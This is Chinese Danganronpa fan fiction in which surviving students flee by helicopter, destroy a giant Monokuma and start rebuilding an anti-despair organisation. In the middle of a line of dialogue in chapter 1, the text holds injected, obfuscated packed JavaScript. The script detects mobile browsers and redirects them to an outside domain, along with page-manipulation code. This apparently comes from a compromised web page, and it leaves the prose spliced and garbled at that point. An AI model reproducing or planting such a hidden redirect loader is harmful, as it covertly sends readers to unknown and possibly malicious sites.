《dra同人:未有之梦》 1. 全员出逃篇 “全体乘客请注意:系好安全带并带好降噪耳机,不会系安全带请不要着急工作人员会帮助操作,请注意衣摆、头发等物体,不要夹进安全带和耳机里……” “你丫别说敬语了,听得发麻。” 如月大和敲了小桥川晴彦一脑壳,“开没开过这个?我家这直升机除了内部还没用过。” “是飞机就行。”小桥川捂着吃痛的脑袋带上护目镜。 “地面引导员也不需要?” “咱可没那条件。”小桥川往机舱里喊了一声,“有没有视力0.8以上的?来给我当副驾。” “我来吧。”牧清香翻出客舱,蹦到驾驶舱:“需要我干啥?” “辅助观察,然后坐这儿就行。一个人太闷了嘛。” “……” “其实……这直升机……有自动驾驶……” 小桥川不屑一顾:“自动驾驶是对飞行员的蔑视。” “……行吧。大家做好准备了没有?” “金城和平良还晕着,剩下人都安排好了。”铭苅冷推了推眼镜,“快点飞吧,别磨蹭了!” “在飞机上要无条件听从机长安排。”小桥川大喊,“全员注意!做好起飞准备!最后强调一次,带好降噪耳罩!!!” “话说……我们不是戴耳罩了吗,为什么还能听见他说话?”上原近次迷惑地问。 “……耳罩上有广播能听见我说话呗山顶洞人!” “……哎,他也能听见我说话……” “你可闭嘴吧!” 如月扶额:“耳罩上有耳机和麦克,能保持随时沟通……现在保持安静,他需要专注注意力。” “坐稳扶好,可能会比较晃,做好准备。”小桥川从未如此可靠,真是太感人了,“机长已就位,副驾已就位,关闭舱门,准备起飞!!” 螺旋桨发出轰鸣,旋起的空气被缓缓合上的舱门搁在外面。尽管起飞的地面仍在剧烈摇晃,飞机离开地面的时候却四平八稳。如月看着地面越来越远,长舒了一口气,随即如释重负地瘫倒在座位上。 “大和君!!” 黑川美佳子担忧地扶住他,而后鼻子一皱:“呜呜呜呜呜……太好了……我们还活着……” “是啊……” 如月倚着黑川,看向机舱里的大家,实在没能忍住积蓄许久的泪。 “美佳子……我们都还活着……” “……原来如此……那个时候……前田,不,虚空……还有平良……” 在一切真相向众人公开以后,直升机上的所有人都陷入了沉思。 “也就是说……现在世界上已经被绝望浸透了。”山口驱悲哀地捂住脸,“不知道翠她……!!” “无论如何,大家都一定要作还心理准备。”如月说,“学校是一定回不去了,家可能也已经化作废墟……” “那……我们能去哪啊……”祷佳奈多拉着依旧昏迷的平良茜的手,小声啜泣着。 “给小桥川的目的地是如月第二研究所。”黑川答到,“虽然……我们也不能确定那里现在还能不能……” “好消息是距离绝望事件全面爆发还没过太久。”如月说,“我们还有机会……大家,听我说:我想要利用如月财团……创立一个对抗绝望的组织。” “……我们能做到什么啊。”比嘉光宏丧着脸说,“我……我就一踢球的,我能做到什么啊……” “是啊……”友利绊也皱着眉,“就凭我们?就凭我们可什么都做不到啊。” “但是我们不是还好好活着嘛。” 众人看向伊良波五月,戴着红鼻头的小丑女孩若无其事地晃着腿,“五月也什么都不会,但是五月可以给大家带来笑容!五月可以用表演把大家从绝望里救出来!很简单嘛,我们都在那种情形下活下来了,还怕什么做不到嘛。” “伊良波说得对。”一直陪在平良身边的波多乃菖蒲也看向他们,“我相信……我们一定可以做到什么,茜不也是吗……茜……她也是我们的朋友,虽然她可能做错过什么……但是我们还有机会救救她,不是吗?” “……无论如何,我同意了。”铭苅抱着胳膊说,“算是被你们救下了命,接下来帮助那些绝望的蠢货,也算是人生的意义了。” “太好了……”如月缩在黑川身上抽鼻子,“谢谢你铭苅,你说出这番话真是让我太感动了呜呜呜呜呜呜!!” “我从刚才就想说了,你们两个粘在一起是想干嘛嘞!”凤照屋忍无可忍地指着如月,“看点场合好不好啊?真是给我喂饱了。” 牧从驾驶舱伸过头:“哕,腻歪,恶心。” 如月:“……” 黑川:“嘛,倒也经常听见这样的心扉,只不过不是形容我俩的。腻歪的大有人在呢。是不是啊,i呜呜呜呜呜呜!!!!” 如月捂住黑川的嘴,向大家露出抱歉的微笑:“啊、啊哈哈,见笑了,见笑了,给我一点时间,我把记忆恢复装置完善一下,待会就能给大家恢复记忆。在学校待那几个月,咱可不是一般的和谐……哈哈、哈……” “……” 机舱内一时陷入沉静。对于大多数人来说,那几个月根本就是不存在的记忆。什么都没有,什么都没留下,什么都不存在。 如月不再说话,走到机舱深处拿出一个小东西开始鼓捣。友利调侃着让上原发挥一下职业素养、念念圣经给大家解闷,没多久就被小桥川拿广播打断,理由是听着想睡觉不利于驾驶。黑川给大家讲起学院生活期间的小故事,但是大家来说那只是熟悉的空白记忆。 “呃……我想打断一下,”牧的声音传来,“如月啊,你这个飞机上……装没装武器啊?” “应该是装了的,咋了?” “呃……我观测到……咱现在正下方……是个挺吓人的城市诶……里面……” “……全是黑白熊啊!!!!” 听到这个名字,所有人的心都颤抖了一下。 “黑白熊?!”如月跑道舷窗边拿起望远镜向下望去,倒抽一口冷气:一群黑白熊走在城市的街道上,拿着各式各样的利器杀害着幸存者们。一只巨大的黑白熊几乎有摩天大厦的高度,缓缓转过头…… “妈呀!!!看过来了!!!小桥川!!!抬升高度啊!!!!” “在抬了!!!这他妈……这他妈是塔和市?!我前不久才开过这儿啊!!” “塔和……”黑川攥起拳,“如果情报没错……塔和市就是为黑白熊提供技术支撑的城市!!” “再怎么说那个家伙也太大了。”如月跑回驾驶舱,“开过战斗机没?这边这一排,都和战斗机基本一样;这边是如月财团研究的新型武器,对着它打,不用管库存!” “行。倒是没飞过真家伙,试飞可是干了好多次了。”小桥川娴熟地调控起驾驶舱里五花八门的按键。如月转向牧,递给她一把狙击枪:“牧,你先别坐这儿了,我把舱门打开,你去狙它!!” “遵命,如月大人!” “给我一把枪。” “啊好嘞……啊?????” 如月循声望去,之前一直晕着的金城剑捂着脑门缓缓坐起:“给我一把枪,我去打这些犯人。” “金城?!您还是躺着歇着吧!!” “我说,” 金城走下躺了许久的座位,赤红的眼瞳直直地盯着如月。 “给我一把枪,我要……消灭这些绝望……” “给我摁住他,千万别让他跑了。” 山口正别着金城的手将他摁在地上:“没问题。” 如月使劲敲敲脑袋。前田……不,虚空被留在那岛上了以后金城就……精神失常了一样。和他当初刚入学那会儿也没啥区别,如月有自信把他调理正常——毕竟这是做到过一次的事情。 金城像被抓了尾巴的猫一样剧烈扭动。牧在身上扣好安全绳:“小桥川!开稳一点,姐姐要开狙咯———我还是头一次这么感谢这个破才能!!” “是第二次了!!!”如月打开舱门冲她大喊。“各位!!!戴好耳罩!!摁住金城!!!波多乃!祷!看好平良!!!” 尽管打开舱门后风呼啸着灌入机舱,如月的声音还是清晰地从耳机里传来。寒风使衣着单薄的友利打了个喷嚏,黑川脱下自己的大衣,披在她肩上;上原见状也摘下自己的长围巾,围在压制着金城不能动弹的山口脖子上。 ……果然,大家都是……本性就无比善良的人。 如月欣慰地笑起来。 “全员注意!!!”耳机中传来小桥川的声音,“那个最大号的熊要向我们进攻了!!接下来可能为了躲避攻击会进行几次机动,系好安全带回到座位上!!!” “哎,如月,”牧踢踢如月的裤脚,“你这安全绳结不结实?” “啊?啊!解释的很,我试过承重四吨……” “那就没问题咯——————” 牧从敞开的舱门一跃而下,身上的安全绳很快拽住她。如月没反应过来:“哎……牧清香!!!” “小桥川!!关闭舱门!!” “啊???牧你疯了??” “开着门里面的人有概率被打中吧?”牧拉开保险栓,“但如果目标是我这样的小型吊坠物,打中的概率可就大大降低了。何况你不是还要机动躲避吗!开着门太容易把他们甩出去了!” 第一枪击中了巨型黑白熊那只人畜无害的豆豆左眼。牧意识到那是类似观测外部的巨型摄像头,中弹后很快裂开玻璃碎裂般的纹路。 这说明这熊里头有人。 “好了!小桥川,打它右眼!!” “你管好你自己!” “脚不着地的感觉,还真是不踏实……”牧轻笑着,端起枪继续射击左眼。这次它碎成渣掉下来,紧接着耳边传来炮轰的巨响:机舱两侧的机载炮弹一个接一个地发射出来,牧在机身的剧烈晃动中无奈地发现这几炮根本没打中她想要的“右眼”。 “算好风向和距离,你不是看着地图吗!!” “我……我数学不好啊!!” “……” 牧一时语塞,不知道该说些什么。然而耳机中迅速传来某个沉稳的声音:“风向、炮弹重量、距离、垂直角度、水平角度、飞行方向和速度,按这个顺序告诉我,快。” 上原?! 小桥川报出几个数字,耳机里传来哗啦哗啦翻书和唰唰唰写字的声音,最后是上原依旧沉稳的回答: “两点钟方向,垂直转角36度,开炮。” “卧槽!!!” 这次的炮弹精准地击中了巨型黑白熊的右眼,牧在空中吊着欢呼,继续对左眼打出第三枪:“啊——在空中瞄准还是困难了许多呢———” “枪枪命中啊!!!”如月的欢呼声非常吵闹。 这枪打进了熊内部。棒极了,现在看起来它似乎不会再…… “牧清香!!回到机舱!!快!!” “诶?!” 黑白熊张开嘴,从里面伸出几根漆黑的炮管,对准了直升机。牧还没反应过来就被如月打开舱门拖了回去,虽然脚着地的感觉好极了,但是更加危险的情况明显已经来临。 “快坐好!!!” 耳机中的声音声嘶力竭,而后整个直升机急速上升,座位上的众人不由自主地向舱尾倒去;刚回到舱内的牧、刚拉好门的如月,以及压制着金城的山口和金城本人则直接滑到客舱尾部,重重地摔在客舱尽头。 “牧!!如月!!!”比嘉大吼,“山口!!还有金城,还好吗!!!” “有没有受伤!”祷大哭着问。 “我没事!!”如月爬起来,拉起气喘吁吁的牧,“牧也没什么大事。” 金城趁机挣开山口,却没做出什么过激的行为,而是不可思议地盯着他:“山口……” 山口意识到他在看着自己的脑门,然后摸了一手血:“啊……又要给祷添麻烦了……” “你……保护了我……却……” 如月从身后狠狠扇了金城一脑壳:“都什么时候了还说这些!!!快去坐好,下一次攻击马上就会开始!!” “如月……” 金城睁大眼睛,而后似乎下定了某种决心。 “……把炮筒堵住。” “啊?” “我说,可以试试把炮筒堵住。”金城看向驾驶舱,“以前有过那样的罪犯,偷来了火箭筒进行轰炸……父亲说这种情况下一个极端的解决办法就是……用几乎同样型号的炮弹精神地射向炮筒并将其堵住,从而使炮筒自行爆炸。” “理论上可行,但是金城老哥我就是个开飞机的。”小桥川的声音在努力平复,但完全可以听出他的紧张——直升机毕竟不是灵活性高的战斗机,能躲过刚才的一波炮弹已经相当奇迹了。“现在能做的,还是只有躲避……来了!!” 第二波炮弹袭来,这次机舱向另一个方向猛地倾斜过去,将将躲过。“我们现在离那狗熊很近了,快想想办法……” “和刚才一样。”上原再次冷静地拿出笔,“目标距离、风向、飞行速度、距离,快。” “不是,我说,”牧瞪大眼睛,“他在圣经上演算数学??” 上原书写得飞快:“为了救人而在圣经上留下印记,天上的父会以其慈爱与包容原谅我的行径。一点钟方向,垂直向上四十度,八秒后开炮,六,五,四,三,二,一。” 机舱内部都能感受到后坐力了……波多乃抱紧平良,正在被祷包扎头部的山口紧紧抓住她,而后是寂静。 一片寂静。整个机舱内谁都没说话,唯独螺旋桨的声音仍在轰鸣。 然而四秒后,巨型黑白熊传来猛烈的爆炸声。火光从窗外照进机舱,紧接着足以晃动整个机身的冲击波传遍整个飞机。 “诶……”友利在火光中睁开眼,不知是火光的刺痛还是什么别的,眼泪夺眶而出。 “……小桥川?你还好吗?”伊良波在耳机里小声问。 “……啊……赢了………” 小桥川的声音带着恍惚般的震惊。 “……赢了……” 金城喃喃道。 “我们赢了……” 如月感到自己的牙像是在打颤。 就像从学校里、路过满是尸体的道路时那样,大家赢了,活了下来。 “赢了……赢了啊……金城……我们赢了……” “赢了啊!!!!!” 如月飞扑抱住金城,像是真正的男高中生和朋友看一场球赛、看见自己最喜欢的球队赢了一样,与身边最好的哥们儿相拥而泣。而后他扔下金城,转向高兴地哭出来的众位:“我们赢了!!活下来了!!美佳子!!!我们赢了!!” “赢了啊……”黑川流着泪接住像小孩一样扑过来的如月。 “小桥亲最棒啦!你救了我们大家!!我们赢啦!!!”伊良波扑向驾驶舱,又被一样在高兴地哭着笑的凤一把拽回来:“别耽误他驾驶啊!!!” “赢了……是啊……上原!!谢谢你!!”小桥川摘下被泪水糊住的护目镜擦干眼泪,“没想到啊山顶洞人数学这么好!” “对啊!!上原真是出人意料!!”牧双膝软软地跪坐在地上哭,直到回来了才开始后怕自己的莽撞,“上原太厉害了!!” “我真的不住在山洞里……”上原委屈地小声说。“不过……还是感谢金城吧,没有他……我们也无从得知应对的方法。” 金城原地站着,一动不动。忽然谁走来,拍了拍他的肩膀。金城条件反射地转过头,出乎意料地发现那人竟是铭苅。 “做得好,神经病警察。”铭苅脸上挂着挑衅的微笑,“至少这次……你的正义我认可了。” “剩没多远了,大家坚持坚持。”如月边鼓捣着手里的小玩意边说,“小桥川已经向第二研究所发送了信号,如果里面还有幸存者,我们就能接收到降落指引了。” 金城盯着他手里的电击器般的小东西:“这是什么?” “啊,那时候你还躺着……记忆恢复装置,能让大家被抹除的记忆恢复回来。” “你保证这东西有效?” “效果一定是有的。”黑川坚定地点头,“之前大和君就做出来过一个,成功地使我俩恢复了记忆,但是那时由于做得太匆忙没能抵消它的副作用,稍微破坏了一点语言中枢……所以大家前几天看到的我几乎没怎么说过话。” “……” 金城沉默地盯着他。机舱里的大家都很疲惫了,女生们缩成一堆相互倚着闭目休息,比嘉和凤陪着小桥川和牧聊着有一搭没一搭的闲话。上原翻着圣经小声念着什么(看来还是需要请求宽恕的),山口在一旁打着瞌睡。 很难想象啊……就在几天以前,他们还在“自相残杀”的绝望的恐惧之下…… 而前田勇气……还有平良茜……他们就是一切的罪魁祸首,而仅有的能记住真相的黑川和如月却制止他消灭罪犯…… 金城第一次开始怀疑自己的正义观。他不知道完整的真相,如月答应了把装置做好了就让他回忆起这事件的全貌。如月不允许他伤害平良,而他下意识地相信着如月。 “为什么呢。” 如月抬起头,呲牙笑了一下。 “你是不记得了……你跟刚入学的时候一模一样。我倒是有自信捞你……毕竟那是已经成功过一次的事情。” 金城不再言语。 “佐佐木的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908400|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是遗憾。”如月接着说,“但是……就像伊良波说的,我们活了下来,就一定有办法、有能力做到想要做到的事情。我坚信如此。” 耳机里突然传来小桥川的声音:“大家看看吧,我们到东京了……真是不敢相信这居然是东京。” 众人纷纷趴到窗上,继而长叹着坐回座位。 “家人……不知道都怎么样了……” 祷首先啜泣起来。“爸爸……哥哥……” “龙太郎那个混蛋一定要好好的啊。”牧抓紧裤腿。 “不知道俺爸咋样了……”凤擦擦眼泪,“城市被破坏成这样……俺爸咋办……” “呜呜呜呜……启介哥……” “翠……翠还生着病啊……” “没记错的话,学校里现在应该还有78届的前辈们吧?”黑川回头看向如月,“我们能不能……” “……他们可能比我们安全得多。”如月说,“校长那时制定的庇护计划,可以让他们在里面生活一生。” “……” “……装置做好了。”在大家说着话、担心着家人的功夫,如月举起手上一只在鼓捣的小玩意,向大家展示着。“只是我还不是很确定对语言中枢的副作用是否消失了……谁要第一个来?” 众人面面相觑。最终举起的手在如月意料之内:“我先。” 是金城剑。 如月拿起□□般的小东西,摁在金城后脑勺上“呲”地摁了一下:“可能需要缓一会儿,有不适应的赶紧告诉我。来,试着说一下完整的话,你的才能和名字是?” “我是超高校级的警察金城剑……没什么不舒服,只是记忆突然涌进来,需要适应一下。” 如月和黑川惊喜地看向对方:“副作用彻底解决了!!” “好了?下一个给我吧!”牧从驾驶舱探过头。 “不行,你得继续辅助小桥川看着陆点,你们两个等着陆后再搞。”如月兴奋地拿着小玩意抛起接下,“来来来大家排好队,一个个来!” “五月要当第二个!”伊良波抢先跑过来。大家盯着金城,发现他似乎没什么变化,便逐渐放下疑虑,乖乖排好队准备恢复记忆。 “真像明星的签名会呢,快来给美佳子大人也签个名!”黑川在一旁偷笑。 “哈哈哈哈哈哈哈哈!金城、哈哈哈哈哈听见没哈哈哈哈,美佳子大人哈哈哈哈,笑死我了……” 一声爆颅巨响,黑川给了如月一手刀。 此时队伍刚好排到凤:“黑川小姐啊……你咋啷个高呢……比如月还高……” “对不起!!你是美丽的美佳子大人!!!”如月委屈地求饶。 “这是我自卑的地方。”黑川面无表情地看向凤,“但是对付大和君似乎正好呢。” “对不起!请饶了我吧,美丽的美佳子大人!” 牧回过身冲小桥川无奈地笑:“真是黏糊死了,恋爱的酸臭味。” “哎哟我的牧姐啊你可别跟他说这个。”比嘉捂着脑袋苦笑,“他可没资格评价那俩。” “啊?我咋了?” 被“电”过的几人露出意味不明的微笑:“呵。” “???” 不出所料……如月第二研究所也变成了空无一人的建筑。没有降落指引,如月和黑川凭记忆指引着小桥川着陆,螺旋桨掀起的气旋卷起楼顶的灰尘,最终稳稳落地。 机舱里早就闹成一团,恢复了记忆的大家要么感慨着集体躲避黑白熊时的艰辛团结,要么回忆着短暂的学园时光带着不可思议抹眼泪,除了驾驶舱那二位几乎都哭成一团。 …… 如月打开舱门,让风席卷自己全身。风像是要穿透他的身体,某一瞬间他觉得这一切都如此…… 不真实。 虚空的天运,几乎没有失败的可能。只要虚空想他们死,他们就根本没有不死的可能。 “所以你这家伙,到底是想我们活下去的。” 如月向着天空说道。 “我不明白……为什么他把我们困在研究所里,又想让我们活下去。”金城不知何时来到了如月身后,“我想起了一切……唯一的解释是他和我们产生了从未经历过的朋友的情感,而后希望我们活下去……” “他一定知道自己的罪孽。”如月坚定地说,“虽然……我觉得与其让他这么死去,不如让他跟着我们,好好赎罪。” “他的罪孽不是我们能评断的。”上原也走了过来,“神自会审判他……我很高兴我们终究逃了出来,否则……也真的会如他所愿,在那里自相残杀。到那时候,连我们自己都无法洗清罪孽了。至于平良茜……” “我会把平良监禁起来的。”如月说,“让美佳子去劝她悔过。我相信她最后……也一定知道,没有虚空的她也一样能拥有美好的人生。” 客舱内的大家相互搀扶着走下直升机,友利跑向驾驶舱敲窗:“清香!下来啦准备挨电!还有晴彦君!快下来吧!!” “来啦来啦着啥急。”牧手忙脚乱地解开安全带跳下飞机,如月拿着那小东西等候多时。另一边的小桥川刚跳下飞机就被比嘉和凤一顿敲打,坏笑着推向如月:“你小子真有出息,真是太有出息了。” “啊?我刚才就想问了,发生什么事了哎哟卧槽我的脑袋……” “把他带伊良波那边,别在我这儿腻歪。”如月淡定地说,“估计还得缓一缓,不想当电灯泡你俩赶紧走吧。” “这还用你说。” 另一边波多乃抱着依然昏迷的平良走下来,祷紧随其后:“如月君,不知道这里有没有医疗设备……?我觉得我有必要给平良好好做一下手术,她到现在都没醒……” “有的,但是我需要确认一下内部设施还能不能用……” 金城默默走到波多乃身边:“我来带着她吧,你也该休息一下了。” “诶?!可是……” “放心……我不会再伤害朋友了……虽然可能只是曾经的朋友。” 波多乃犹豫了一下,继而将怀中的平良送出:“我相信你……金城。你一直是个很可靠的朋友。” 可靠……朋友……吗。 平良被击中的地方是左腹部,本来不应是太重致死的伤,但是她有意识的时候一直在剧烈地扭动,导致失血量太大,现在一直处于休克状态。金城想起那段学园里的时光……直到绝望降临之前她都是个很好的姑娘,爱笑活泼,喜欢和波多乃黏在一起。就算是绝望之后…… 他依然能记得,平良茜用黑白熊围住他们、将他们逐一打晕的时候,脸上悲哀的表情。 ……真的像如月所说的那样……你真的产生了“情感”吗? 由于刚刚取回记忆没多久,在进入建筑物时所有人都吵吵嚷嚷的。如月和黑川在最前面带路,金城抱着平良跟了上去;祷紧跟在金城后面,拽着同样受了伤的山口一边哭一边责怪大家太过拼命;上原招呼着后面的闹成一团的友利和比嘉,牧和波多乃苦笑着跟上;最后得知此前记忆的小桥川红着脸拉着伊良波往前走,伊良波被拽的磕磕绊绊但笑的格外开心,凤则在一旁露出慈爱(?)的笑;铭苅走在最后,虽然一直嘀咕着真烦真闹心之类的抱怨,却没压住上扬的嘴角。 在这个绝望的世界上,活着本身就是一个奇迹了。 “喂,小泉,拍到了没?” 左右田和一拉开一罐可乐,“那小鬼看着挺眼熟,能找到资料嘛?” 他面前的通讯屏幕上很快弹出几张照片。“开着直升机的小鬼隔着玻璃和护目镜看不清脸,但是下面那个狙击手小丫头可以。后来小狙击手不是被拉回去了吗?那个开门的小鬼也拍到了。”小泉真昼的声音从不知何方传来,“索尼娅酱在查呢,不要着急啦。” “狛枝那家伙不是在塔和嘛?他干嘛去了?老子头一次做出不用人驾驶的帝王熊就被弄炸了,他得负责吔。” “狛枝……哈哈,你居然指望他……查到了……哇哦,这可真是……难以想象呢……” “啥啊?” “哈哈……希望之峰……好久没听见母校的名字了呢……” “啊?他们是希望之峰的?” “超高校级的狙击手……第79届学生……哈哈,那这位就是超高校级的飞行员……超高校级的发明家……左右田,我们真是查到了不得了的东西……” “他们居然还活着啊……我有听说过提前招生什么的,能活下来……真是充满希望的后辈们……” “而我们的目的就是永远扼杀希望———不是吗?” “正是如此。” 左右田和一狂笑起来。他的眼神凶恶而狠毒,但从中透出的、比那更深邃的…… 是深不见底的“绝望”。 2. 机关重建篇 风。好大的风。呼啸着的风。卷起尘土的风。 就像是他们刚来到如月第二研究所那天,直升机的螺旋桨渐渐停下前,地面上席卷起的风。 金城剑披上外套。风刮得他有点冷,他觉得披上外套可能没什么太大作用,毕竟风会钻到衬衫和外套中间的区域,然后在里面转啊转出不去。但是他还是把外套披上了。 来到这里,重建如月机关,已经有一个多月了啊。 今天外面刮大风,城市已经被绝望破坏成一片废墟,因此形成了沙尘暴一般的地狱景象。他得知自己的父亲已经被超高校级的绝望控制,以为唯一的儿子早已死去的警察厅长早就陷入绝望之中。他出现在父亲面前时,便得知一切已经晚了。 “剑……我不是一个好父亲。” 父亲在他面前开枪自杀了。他那时一滴泪都没流下。为绝望献身的警察厅长,甚至吃掉了佐佐木的尸体……在他清醒过来的时候,或许已经被自己的正义观杀死了。 “父亲继续活下去,是对自己的折磨。” 他如是说。 如月大和担心地看着他。 “剑……真的没关系吗?” “……他教给我的正义,本身就是极端的。我想我已经明白这回事了……但他没有。” 活下来本就很不容易,活下来本身就是一个奇迹,活下来原本就应当是希望。 金城剑坚信着这一点。 ……真是奇怪。明明一个多月以前,还像疯子一样试图用暴力威慑朋友们……还射伤了平良茜…… ……平良茜被锁在研究所的地下室里。回来后她很快被祷佳奈多治疗康复,却一句话也不肯说了。如月拉着黑川美佳子去看她,美其名曰“心理辅导”,出人意料地居然有作用。 “她怎么说的?” “啊?啊,美佳子就说了些什么,啊虚空希望你活着,虚空最后的愿望是你能活下去,之类的话,总之平良是愿意给咱当间谍了。” “间谍?”金城一直很看不起这种手法,虽然他也知道用不正当手段得来的情报通常更可信而有用。 “是的,绝望的间谍。”如月自信地压下帽子,“她告诉了我们很多事情……包括那些超高校级的绝望。” 在到达如月第二研究所的第三天,负责与外界联系交流的友利绊慌慌张张地将一份……挑战书,送到暂任正副机关长的如月和金城手中: “有人发现我们了……并自称超高校级的绝望。” 在那之前他们一直以为“超高校级的绝望”只是形容平良茜、虚空,还有他们口中的那个78届学生,江之岛盾子。暂任情报分析的铭苅冷决定发挥自己的优势力量,专心调查这群挑衅者。 “唯一的可能是在塔和市的暴露。”铭苅说,“虽然时间很短,但是狙击手和如月无疑被发现了。尤其是如月那象征意义很强的帽子。” “呃……”如月挠着后脑勺讪笑。 “不过……也不能全怪你。”铭苅叹气,“那种高速情况下还能看清人脸,真是……超高校级的才能呢。” 现在……已经查明了。希望之峰第77届学生,他们的前辈,正是江之岛盾子手下的超高校级的绝望。塔和市的短暂会面使刚重建的如月机关暴露在绝望的威胁之下,但大家似乎没什么恐惧心理。 ……也难怪。毕竟……都是见证了绝望、又相信活着就不会失去希望的人。 如月和黑川是基本的精神支柱,这点毋庸置疑:他们二人保持着对希望的热忱,乐观地拉着大家一同对抗绝望。 虽然……世界如今真的很绝望。 上原近次花了好长时间才从他教堂里孩子们的死亡中回过神,凤照屋也好不容易接受了父亲被江之岛害死的事实。比嘉光宏一边跟着牧清香学习枪械一边努力寻找重振FIFA的方法,尽管他本人也知道这是至少如今很难达到的……飘渺的目标。 “但是啊……牧说了,至少我还活着。”他取下了运动发带,给人的感觉忽然苍老了许多,“大家也都是这么想的吧?只要我还活着,这球就不会永远消失。” 但是逝去的家人永远回不来了。 知道父亲去世的凤出人意料地迅速成长起来,戴上了父亲留下的帽子和围巾,决定用凤超市的庞大利润支撑如月机关的运行。铭苅在收集情报的时候查到了亲生父母仍在寻找她的消息,但她前去试图认亲时才得知他们早就被害死了。天天开着飞机运输凤超市的物资的小桥川晴彦,某次回来时没戴着那顶帽子,伊良波五月质问了半个小时才支支吾吾地答道放在他哥的坟前了。 “死去的人不会再回来,活着的人就必须带着他们的份好好活下去。” 小桥川苦笑着拉下护目镜,准备着再次坐到驾驶舱里。“我哥……他就是个普通人,没我这样的本事。他比我更会撩妹子,一直以我为豪……他死在家里,连收尸的人都没有。” “休息休息吧晴彦,你已经开了好几天了……” “没事。”小桥川搓搓伊良波的头发,“看见你好好的我就不累了。要做的事还有很多呢。” “……!!” 也有人还有活着的家人。比如牧龙太郎。 “呃……”牧清香拽着弟弟走过练习射击的行动部时比嘉无端咧起嘴,“牧,这位是……” “啊,我弟,牧龙太郎。”牧清香回头露出一个灿烂的微笑。倒是被拖着的小伙子定睛一看开始尖叫:“啊!!!!你是!!!你是那个!!!比嘉光宏!!!” “啊……” “这小子是你粉丝。”牧面无表情地松开手,名为龙太郎的小伙子连滚带爬地跑向比嘉,前言不搭后语地讲着身为足球粉丝对球星就在自己眼前的激动与兴奋,又试图掏出笔啊纸啊什么的让他签名,结果被自己姐姐劈了一手刀:“哎哟卧槽!” “赶紧过来,以后有的是机会见面。”牧清香向比嘉露出带有歉意的笑,拖着龙太郎准备离开。 “……为啥要把弟弟带来啊?” “这小子以为我早就死了,我发个信号自己就找过来了。反正现在学也上不成啥也干不了,不如给他点活干,还能做点贡献。” “呃……”过了一阵子比嘉才明白过来她话中的意思,“你是说龙太郎要在机关里工作了?” “啊!!比嘉光宏叫了我的名字!” “闭嘴。啊,是这样的,正好现在人手紧缺嘛。”这俩还真是塑料姐弟……“顺便,伊良波的一个哥哥也来了,赶紧告诉小桥川,要是你们真是好兄弟的话。” “……” 比嘉默默回过头,放下正在练习打靶的步枪,拿起如月给大家配备的无线电通讯仪: “小桥川晴彦,家危,速归!!” 如果我有罪,请让上原亲自给我传教三小时,而不是在女朋友的哥哥面前坐立难安。 小桥川晴彦如是想着。 “我是伊良波启介,五月的七哥。”面前的男人和善地向他伸过手,“小桥川晴彦君对吧?我记得你哦。” 莫名其妙的压迫感从头顶传到脚底,迫于奇怪的压力,他伸出手:“您、您好……” “啊,你不用紧张,”启介微笑着说,“我只是……来确认五月的安危的。” 至少到目前为止自己应该是没有生命危险的。“我听五……伊良波同学说过您,还有她的其它哥哥姐姐们……” 得嘞,这天聊的。小桥川心里一咯噔。只有启介一个人来找五月,那就是说…… “我是独自前来的不假,”启介保持着微笑,“但是兄弟姐妹们……老实说,我在绝望刚开始扩散的时候来找过一次五月,那时候你们都被登记为已死亡。等我回到家里的马戏团……倒不是被绝望势力席卷了,只是他们……和我失联到现在。” “啊,这……” “这个手机号是专门用来联系五月的,”启介苦笑,“你知道的,那孩子其实不聪明,真亏她记到现在。” 意外地亲切。也不知道五月跑去哪里了,本来自己亲哥应该自己接应的。说起来……真是颠三倒四,他开着开着飞机收到比嘉令人迷惑的信号,着急忙慌回到基地,结果被友利推到伊良波启介面前:“五月出去忙了,这位你接待得了。”一问,好家伙,是她最喜欢的七哥。 常言道,和妹控的妹妹谈恋爱,需要极高的勇气和毅力。幸好启介不是妹控,而自己又恰好很有毅力(?)。 “话说回来,晴彦,”不是,为什么要直呼名字?!“五月说你也有个哥哥来着……” “啊,去世了。”小桥川摊手,“和很多人的家人一样,死得不明不白。” “……我很抱歉。” “这倒没什么。”已逝的人不能复生,生者只能埋头前进,“现在对我来说最重要的只有五月……” 呃……下意识说出来了。小桥川胆怯地低下头,而后听见启介的笑声。“哈哈……看来小五月的安全我不用担心了呢。” “啊,那个,我……” “哟!晴彦亲!!” 门外传来越来越近的清脆的声音。小桥川虎躯一震,随后熟悉的重量从后面像考拉一样挂上来,晃得他差点站不稳:“五……伊良波同学!!这里还有……” “诶?”迷惑着称呼的伊良波五月才注意到旁边还站着个人,而后小脸一皱: “七哥——————” 考拉换了棵树抱。小桥川如释重负:“那、那你们先聊,我走了……” “不要嘛!!!”五月扯住他,“不许走!!!” “五月又任性了。”启介搓着妹妹的头发笑得开了花。跟刚才礼貌的微笑完全不同,这次简直是溺爱的笑…… “好好好我不走……对不起伊良波先生让你见笑了……” “我家小妹给你添麻烦了,还有,叫启介哥就行。” “啊……启介哥……” “然后——也不用那么客气,你俩该怎么样就怎么样,都是一家人。” “啊———” “晴彦君应该会好好包容我家五月吧?”启介忽然睁开眼,一阵恶寒穿透小桥川,“我家五月是很爱笑的……晴彦君会让她好好笑着吧?” “啊会的会的!!一定会的!!” 坏了,还是妹控。 路过的黑川:“哎哎,大和君,快看大舅子单杀小桥川。” “……那是七大舅子。” 启介倒也没想太为难这个打眼看上去傻不拉几的小飞行员。早在孩子们还在上学的时候五月就跟他说过这个笨蛋男友,虽然平时大大咧咧、和青春期的男孩子一样爱开些烂梗玩笑,但心思出奇的细腻,告白还需要两三个兄弟陪着加油打气。是个值得托付的人,毕竟少年的热血气息是包含着纯粹的爱的。况且…… 讲起“晴彦亲”的时候,五月的笑容都不是身为“小丑”的虚假的笑。 